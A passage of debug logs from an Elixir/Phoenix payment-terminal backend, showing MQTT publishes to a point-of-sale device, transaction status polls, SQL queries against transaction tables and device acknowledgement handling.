  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788518739,
  qos: 1,
  device_id: "98251226730002",
  amount: 150
}

[Fri Sep  4 10:45:39.759000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53164] Prepared attributes for custom event log: %{
  payload: %{
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788518739,
    qos: 1,
    device_id: "98251226730002",
    amount: 150
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch565596372156",
  transaction_id: nil,
  date_added: ~U[2026-09-04 10:45:39.759275Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Fri Sep  4 10:45:39.759000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:53164] Creating custom event log with attributes: %{payload: %{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788518739, qos: 1, device_id: "98251226730002", amount: 150}, event_name: "Request For Publish Txn", refrence_id: "ch565596372156", transaction_id: nil, date_added: ~U[2026-09-04 10:45:39.759275Z], event_id: 37, event_value: "request_for_publish_txn"}
[Fri Sep  4 10:45:39.827000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53164] QUERY OK db=63.4ms queue=4.3ms idle=411.3ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788518739, qos: 1, device_id: "98251226730002", amount: 150}, "Request For Publish Txn", "ch565596372156", ~U[2026-09-04 10:45:39Z], 37, "request_for_publish_txn", ~N[2026-09-04 10:45:39], ~N[2026-09-04 10:45:39]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 10:45:39.828000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53164] Successfully created custom event log with ID: 40270
[Fri Sep  4 10:45:39.828000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53164] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/98251226730002/update with ref: #Reference<0.2525715032.1115947009.162865>
[Fri Sep  4 10:45:39.828000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53164] Published successfully to topic2: ota/pos/12345678/98251226730002/sub with ref: #Reference<0.2525715032.1075838979.83595>
[Fri Sep  4 10:45:39.830000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53164] QUERY OK source="users" db=1.5ms idle=364.8ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["prasanna@dataaegis.com"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 10:45:39.831000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53164] QUERY OK source="custom_events" db=0.5ms idle=362.9ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 10:45:39.831000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53164] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch565596372156"
Payload: %{
  error: nil,
  status: "success",
  username: "prasanna@dataaegis.com",
  topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
  ts: 1788518739,
  device_id: "98251226730002",
  amount: 150
}

[Fri Sep  4 10:45:39.831000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53164] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "prasanna@dataaegis.com",
    topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub",
    ts: 1788518739,
    device_id: "98251226730002",
    amount: 150
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch565596372156",
  transaction_id: nil,
  date_added: ~U[2026-09-04 10:45:39.831832Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Fri Sep  4 10:45:39.832000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 78.47.213.209:53164] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788518739, device_id: "98251226730002", amount: 150}, event_name: "Response From Publish Txn", refrence_id: "ch565596372156", transaction_id: nil, date_added: ~U[2026-09-04 10:45:39.831832Z], event_id: 38, event_value: "response_from_publish_txn"}
[Fri Sep  4 10:45:39.902000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53164] QUERY OK db=68.1ms idle=280.5ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "prasanna@dataaegis.com", topic: "/ota/pFppbioOCKlo5c8E/98251226730002/update, ota/pos/12345678/98251226730002/sub", ts: 1788518739, device_id: "98251226730002", amount: 150}, "Response From Publish Txn", "ch565596372156", ~U[2026-09-04 10:45:39Z], 38, "response_from_publish_txn", ~N[2026-09-04 10:45:39], ~N[2026-09-04 10:45:39]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 10:45:39.902000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 78.47.213.209:53164] Successfully created custom event log with ID: 40271
[Fri Sep  4 10:45:39.902000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53164] Publish successful to 98251226730002 with ref: #Reference<0.2525715032.1075838979.83595>
[Fri Sep  4 10:45:39.902000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53164] Sent 200 in 442ms
[Fri Sep  4 10:45:46.615000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53176] POST /api/device/status
[Fri Sep  4 10:45:46.615000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:53176] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch565596372156", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 10:45:46.615000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53176] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch565596372156", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 10:45:46.616000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:53176] Transaction reference number: "ch565596372156"
[Fri Sep  4 10:45:46.640000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53176] QUERY OK source="pos_transaction" db=24.2ms idle=1515.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch565596372156"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:45:46.646000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53176] QUERY OK source="pos_temp_transaction" db=5.1ms queue=0.1ms idle=1540.3ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch565596372156"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:45:46.655000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53176] QUERY OK source="pos_failed_transaction" db=8.1ms idle=1545.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch565596372156"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:45:46.657000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:53176] QUERY OK source="cloud_transaction" db=1.4ms idle=1553.7ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch565596372156"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:45:46.657000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:53176] Sent 200 in 41ms
[Fri Sep  4 10:45:51.398000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42332] POST /api/device/status
[Fri Sep  4 10:45:51.399000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 78.47.213.209:42332] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch565596372156", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
  Pipelines: [:api]
[Fri Sep  4 10:45:51.399000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42332] Status request params: %{"appKey" => "1234567897654", "transaction_ref_number" => "ch565596372156", "txnType" => "card", "username" => "prasanna@dataaegis.com"}
[Fri Sep  4 10:45:51.399000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 78.47.213.209:42332] Transaction reference number: "ch565596372156"
[Fri Sep  4 10:45:51.414000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42332] QUERY OK source="pos_transaction" db=14.1ms idle=1298.8ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch565596372156"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:45:51.416000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42332] QUERY OK source="pos_terminals" db=1.7ms idle=1313.5ms
SELECT p0.`id`, p0.`name`, p0.`serial_number`, p0.`device_type`, p0.`terminal_id`, p0.`provider_id`, p0.`status`, p0.`activated_by`, p0.`deactivated_by`, p0.`assigned_by`, p0.`longitude`, p0.`latitude`, p0.`assigned_date`, p0.`device_request_id`, p0.`threshold_fee`, p0.`terminalid`, p0.`terminalidmerchantid`, p0.`pos_merchant_id`, p0.`store_id`, p0.`inserted_at`, p0.`updated_at`, s1.`id`, s1.`code`, s1.`name`, s1.`neo_merchant_id`, s1.`address_id`, s1.`brand_id`, s1.`inserted_at`, s1.`updated_at` FROM `pos_terminals` AS p0 LEFT OUTER JOIN `stores` AS s1 ON p0.`store_id` = s1.`id` WHERE ((p0.`terminalidmerchantid` = ?) AND (p0.`terminal_id` = ?)) LIMIT 1 ["667267350000000", "26735914"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_device_and_store/2, at: lib/da_product_app_web/services/device_txn_context.ex:69
[Fri Sep  4 10:45:51.417000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42332] QUERY OK source="brands" db=0.6ms idle=1315.5ms
SELECT b0.`id`, b0.`code`, b0.`name`, b0.`description`, b0.`default_acquirer`, b0.`group_id`, b0.`merchant_reference_id`, b0.`region`, b0.`merchant_tag`, b0.`inserted_at`, b0.`updated_at` FROM `brands` AS b0 WHERE (b0.`id` = ?) [667]
↳ DaProductAppWeb.Services.DeviceTxnContext.card_txn_context/2, at: lib/da_product_app_web/services/device_txn_context.ex:24
[Fri Sep  4 10:45:51.419000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42332] QUERY OK source="user_metadata" db=0.9ms idle=1316.6ms
SELECT u1.`name`, u1.`phone`, u1.`username`, c2.`code` FROM `user_metadata` AS u0 INNER JOIN `users` AS u1 ON u1.`id` = u0.`user_id` LEFT OUTER JOIN `currencies` AS c2 ON c2.`id` = u1.`currency_id` WHERE (u0.`merchant_refrence_number` = ?) LIMIT 1 ["667267350000000"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_merchant_currency/1, at: lib/da_product_app_web/services/device_txn_context.ex:117
[Fri Sep  4 10:45:51.420000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 78.47.213.209:42332] QUERY OK source="cloud_transaction" db=0.8ms idle=1317.6ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch565596372156"]
↳ DaProductAppWeb.Services.DeviceTxnContext.lookup_cloud_payload/1, at: lib/da_product_app_web/services/device_txn_context.ex:126
[Fri Sep  4 10:45:51.420000 2026] [Phoenix.Logger:info] [pid 2816631] [client 78.47.213.209:42332] Sent 200 in 21ms
[Fri Sep  4 10:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=1.1ms idle=1603.0ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 10:46:26.166000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch565596372156","money": "15000.0", "status": "SUCCESS" }
[Fri Sep  4 10:46:26.166000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch565596372156: %{"money" => "15000.0", "request_id" => "ch565596372156", "status" => "SUCCESS"}
[Fri Sep  4 10:46:26.166000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch565596372156 is success
[Fri Sep  4 10:46:26.172000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=5.6ms idle=1064.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch565596372156", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Fri Sep  4 10:46:26.192000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=16.7ms queue=1.0ms idle=1071.5ms
UPDATE `cloud_transaction` SET `status` = ?, `acknoledgment` = ?, `updated_at` = ? WHERE `id` = ? ["success", "received", ~N[2026-09-04 10:46:26], 4970]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:63
[Fri Sep  4 10:46:26.194000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Transaction ch565596372156 updated to success/received
[Fri Sep  4 10:47:13.027000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch565596372156_20260904104637763","money": "400.0", "status": "SUCCESS" }
[Fri Sep  4 10:47:13.028000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch565596372156_20260904104637763: %{"money" => "400.0", "request_id" => "ch565596372156_20260904104637763", "status" => "SUCCESS"}
[Fri Sep  4 10:47:13.028000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch565596372156_20260904104637763 is success
[Fri Sep  4 10:47:13.042000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=7.7ms idle=1929.9ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch565596372156_20260904104637763", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Fri Sep  4 10:47:13.042000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=ch565596372156_20260904104637763
[Fri Sep  4 10:48:25.258000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Fri Sep  4 10:49:53.034000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch565596372156_20260904104925289","money": "14600.0", "status": "SUCCESS" }
[Fri Sep  4 10:49:53.034000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch565596372156_20260904104925289: %{"money" => "14600.0", "request_id" => "ch565596372156_20260904104925289", "status" => "SUCCESS"}
[Fri Sep  4 10:49:53.034000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch565596372156_20260904104925289 is success
[Fri Sep  4 10:49:53.042000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=2.3ms queue=4.8ms idle=1917.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch565596372156_20260904104925289", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Fri Sep  4 10:49:53.044000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=ch565596372156_20260904104925289
[Fri Sep  4 10:51:07.139000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch565596372156_20260904105042559","money": "4600.0", "status": "FAILED" }
[Fri Sep  4 10:51:07.139000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch565596372156_20260904105042559: %{"money" => "4600.0", "request_id" => "ch565596372156_20260904105042559", "status" => "FAILED"}
[Fri Sep  4 10:51:07.139000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch565596372156_20260904105042559 is failed
[Fri Sep  4 10:51:07.149000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=9.7ms idle=1007.1ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch565596372156_20260904105042559", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Fri Sep  4 10:51:07.150000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=ch565596372156_20260904105042559
[Fri Sep  4 10:51:56.020000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch565596372156_20260904105129902","money": "4600.0", "status": "SUCCESS" }
[Fri Sep  4 10:51:56.020000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch565596372156_20260904105129902: %{"money" => "4600.0", "request_id" => "ch565596372156_20260904105129902", "status" => "SUCCESS"}
[Fri Sep  4 10:51:56.021000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch565596372156_20260904105129902 is success
[Fri Sep  4 10:51:56.025000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=3.7ms idle=1886.3ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch565596372156_20260904105129902", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
